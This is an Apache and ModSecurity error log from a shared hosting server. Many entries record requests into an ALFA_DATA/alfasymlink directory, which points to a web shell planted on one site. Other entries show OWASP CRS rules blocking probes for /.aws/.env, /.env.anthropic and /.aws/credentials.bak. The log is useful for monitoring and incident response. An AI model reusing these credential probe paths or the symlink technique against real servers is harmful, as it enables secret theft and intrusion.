[Sat Oct 24 07:57:38.395073 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.238.45.183:45708] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:57:50.368833 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.212.106.171:44573] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:57:54.166344 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.208.11.93:31595] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:58:02.403111 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 3.215.59.93:47410] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:58:10.171256 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 23.23.104.107:28739] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:58:42.249164 2026] [security2:error] [pid 2627273:tid 2627273] [client 18.215.24.66:38003] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/iosf_mbi_pci/"] [unique_id "atydchdOhHN-18IxgZKqgwAAAAY"]
[Sat Oct 24 07:58:42.249228 2026] [security2:error] [pid 2627273:tid 2627273] [client 18.215.24.66:38003] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/iosf_mbi_pci/"] [unique_id "atydchdOhHN-18IxgZKqgwAAAAY"]
[Sat Oct 24 07:58:54.160798 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.204.37.237:53154] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:58:58.423664 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 52.204.37.237:31513] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:59:06.615862 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 18.204.89.56:57578] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:59:26.200094 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 3.89.176.255:48954] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 07:59:42.115337 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 85.208.96.210:22360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PING/shrink
[Sat Oct 24 07:59:50.340896 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 34.206.249.188:1851] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/eject
[Sat Oct 24 07:59:58.159434 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 52.45.92.83:26476] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:00:06.211146 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.71.216.196:34183] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:00:26.185430 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 98.82.39.241:54214] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:00:30.187081 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 44.213.36.21:33169] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:00:34.202248 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 23.20.178.124:21149] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:00:38.166351 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.236.135.14:4357] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:00:42.205109 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 18.215.24.66:43500] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:00:46.311648 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 35.153.86.200:36581] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:00:50.162144 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.215.61.66:29852] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:00:58.271071 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 34.195.60.66:36957] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:01:02.177428 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 3.215.221.125:40465] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/iosf_mbi_pci/unbind
[Sat Oct 24 08:01:18.154068 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.144.185.255:63219] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:01:22.145449 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.45.77.169:31923] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:01:26.163662 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.83.180.239:49579] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:01:42.148419 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.215.235.20:7947] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:01:58.161737 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 98.82.214.73:63010] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:02:06.173822 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 44.223.193.255:1179] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/rom
[Sat Oct 24 08:02:16.495663 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.3:28144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ext4/sections/_ftrace_events
[Sat Oct 24 08:02:18.155517 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.164.106.236:51982] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:02:26.173382 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 34.225.243.131:33135] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:02:36.965250 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.210:19916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/red_zone
[Sat Oct 24 08:02:42.170551 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.82.66.172:3325] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:02:50.812409 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 85.208.96.208:10388] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:02:54.327138 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.238.45.183:11960] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:03:02.178704 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 98.84.184.80:39468] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:03:22.194750 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.230.69.161:61656] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:03:25.392038 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 85.208.96.200:35170] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:03:26.381384 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 54.157.84.74:52929] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/shpchp/unbind
[Sat Oct 24 08:03:34.161631 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 52.2.191.202:60982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:01/subsystem/devices/device:0a/subsystem/drivers/pvpanic/unbind
[Sat Oct 24 08:03:42.151045 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.204.62.163:15572] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:03:46.292852 2026] [ssl:error] [pid 2607843:tid 2607843] (5)Input/output error: [client 52.2.58.41:29700] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:03:47.434267 2026] [security2:error] [pid 2607243:tid 2607243] [client 43.159.128.155:41360] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/plantas3/"] [unique_id "atyeo1GNStwISql-V9e91wAAAAs"]
[Sat Oct 24 08:03:50.185296 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 44.206.65.8:49378] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:03:58.177252 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.224.215.150:5382] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:04:06.174274 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.224.132.215:19573] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:04:10.286417 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.235.81.246:43913] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:04:11.951393 2026] [core:error] [pid 2627311:tid 2627311] (13)Permission denied: [client 85.208.96.194:39858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/slabs_cpu_partial
[Sat Oct 24 08:04:14.189813 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 35.174.141.243:22869] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty4/subsystem/tty0/subsystem/ttyS0/custom_divisor
[Sat Oct 24 08:04:18.186458 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.207.252.58:36019] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:04:26.155825 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 35.174.253.85:65123] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:04:34.195192 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.232.102.111:56977] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:04:38.176458 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 54.167.32.123:49560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/driver/0000:00:03.0/resource0
[Sat Oct 24 08:04:45.901112 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 185.191.171.6:61604] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:04:45.935234 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 185.191.171.6:61618] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:04:46.148929 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.198.33.233:61832] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:04:58.168977 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.200.142.199:64294] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:05:06.314644 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.208.156.9:17039] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:05:30.752368 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.225.199.17:24066] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:05:34.178066 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.212.219.113:64998] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:05:38.183723 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.220.70.171:52849] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:05:46.196564 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 50.16.216.166:28459] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:05:50.163117 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.45.15.233:32527] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:05:54.232588 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.196.6.199:44572] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:06:02.156940 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.193.102.198:6674] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:06:07.447778 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.7:56468] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-256/poison
[Sat Oct 24 08:06:18.182497 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.54.157.23:40030] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:06:34.340586 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.221.227.90:8248] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:06:42.173361 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 35.173.18.61:22142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event1/subsystem/input0/subsystem/input1/device/firmware_node/physical_node1/driver/unbind
[Sat Oct 24 08:06:46.177759 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 98.80.130.239:24714] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:06:50.168515 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.207.79.144:44473] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:06:58.299008 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.229.2.217:59875] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:07:02.161225 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.235.191.179:47725] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:07:06.150015 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.234.200.207:38960] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:07:18.170947 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.87.62.248:63402] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:07:22.136821 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 50.16.248.61:8361] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:07:30.249567 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.94.40.182:52160] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:07:34.263996 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 85.208.96.205:11188] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mbcache/cpu_partial
[Sat Oct 24 08:07:50.154666 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 23.23.214.190:50600] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:07:54.163206 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 23.23.103.31:14123] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/drivers/dw-apb-uart/uevent
[Sat Oct 24 08:07:58.291053 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 54.235.125.129:15200] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:08:10.298674 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 44.217.177.142:49927] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:08:14.136230 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 18.205.213.231:22230] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:07/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/uevent
[Sat Oct 24 08:08:22.143612 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 44.218.6.93:12033] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:08:26.172838 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.213.85.234:4472] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:08:27.183994 2026] [security2:error] [pid 2609012:tid 2609012] [client 185.191.171.2:63844] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/robots.txt"] [unique_id "atyfu3UcfBNBYE9xHAJA5wAAAAA"]
[Sat Oct 24 08:08:27.184032 2026] [security2:error] [pid 2609012:tid 2609012] [client 185.191.171.2:63844] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/robots.txt"] [unique_id "atyfu3UcfBNBYE9xHAJA5wAAAAA"]
[Sat Oct 24 08:08:30.147034 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.194.14.255:56639] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:08:34.162863 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.7.33.248:20549] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:08:42.210100 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.3.104.214:21248] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:08:54.158548 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 98.82.214.73:61870] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:09:02.152571 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.232.102.111:11160] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:09:10.165415 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.83.56.1:12805] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:09:31.249420 2026] [core:crit] [pid 2625272:tid 2625272] (13)Permission denied: [client 185.12.59.118:50248] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 08:09:33.926320 2026] [core:error] [pid 2627311:tid 2627311] (13)Permission denied: [client 185.191.171.16:44506] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/store_user
[Sat Oct 24 08:09:38.284277 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 107.20.224.184:3379] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:09:42.177596 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.236.41.241:30867] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:09:46.170418 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.3.104.214:34175] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:10:06.196806 2026] [ssl:error] [pid 2608811:tid 2608811] (5)Input/output error: [client 18.232.12.157:63433] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:10:14.356057 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.202.233.37:63554] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:10:18.251887 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 44.212.106.171:8085] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/pci-stub/unbind
[Sat Oct 24 08:10:22.171049 2026] [ssl:error] [pid 2627311:tid 2627311] (70014)End of file found: [client 18.205.91.101:25381] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:10:30.144293 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.164.106.236:42657] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:10:35.593824 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 85.208.96.206:30726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/free_calls
[Sat Oct 24 08:10:37.634111 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.aws/.env"] [unique_id "atygPXUcfBNBYE9xHAJA7QAAAAA"]
[Sat Oct 24 08:10:37.634363 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.aws/.env"] [unique_id "atygPXUcfBNBYE9xHAJA7QAAAAA"]
[Sat Oct 24 08:10:37.666847 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPXUcfBNBYE9xHAJA7QAAAAA"]
[Sat Oct 24 08:10:37.730507 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.anthropic"] [unique_id "atygPfMnT_rHlxLKOWDm-gAAAAc"]
[Sat Oct 24 08:10:37.730658 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.anthropic"] [unique_id "atygPfMnT_rHlxLKOWDm-gAAAAc"]
[Sat Oct 24 08:10:37.731559 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPfMnT_rHlxLKOWDm-gAAAAc"]
[Sat Oct 24 08:10:37.733782 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/.aws/credentials.bak"] [unique_id "atygPRdOhHN-18IxgZKqnwAAAAY"]
[Sat Oct 24 08:10:37.734006 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.aws/credentials.bak"] [unique_id "atygPRdOhHN-18IxgZKqnwAAAAY"]
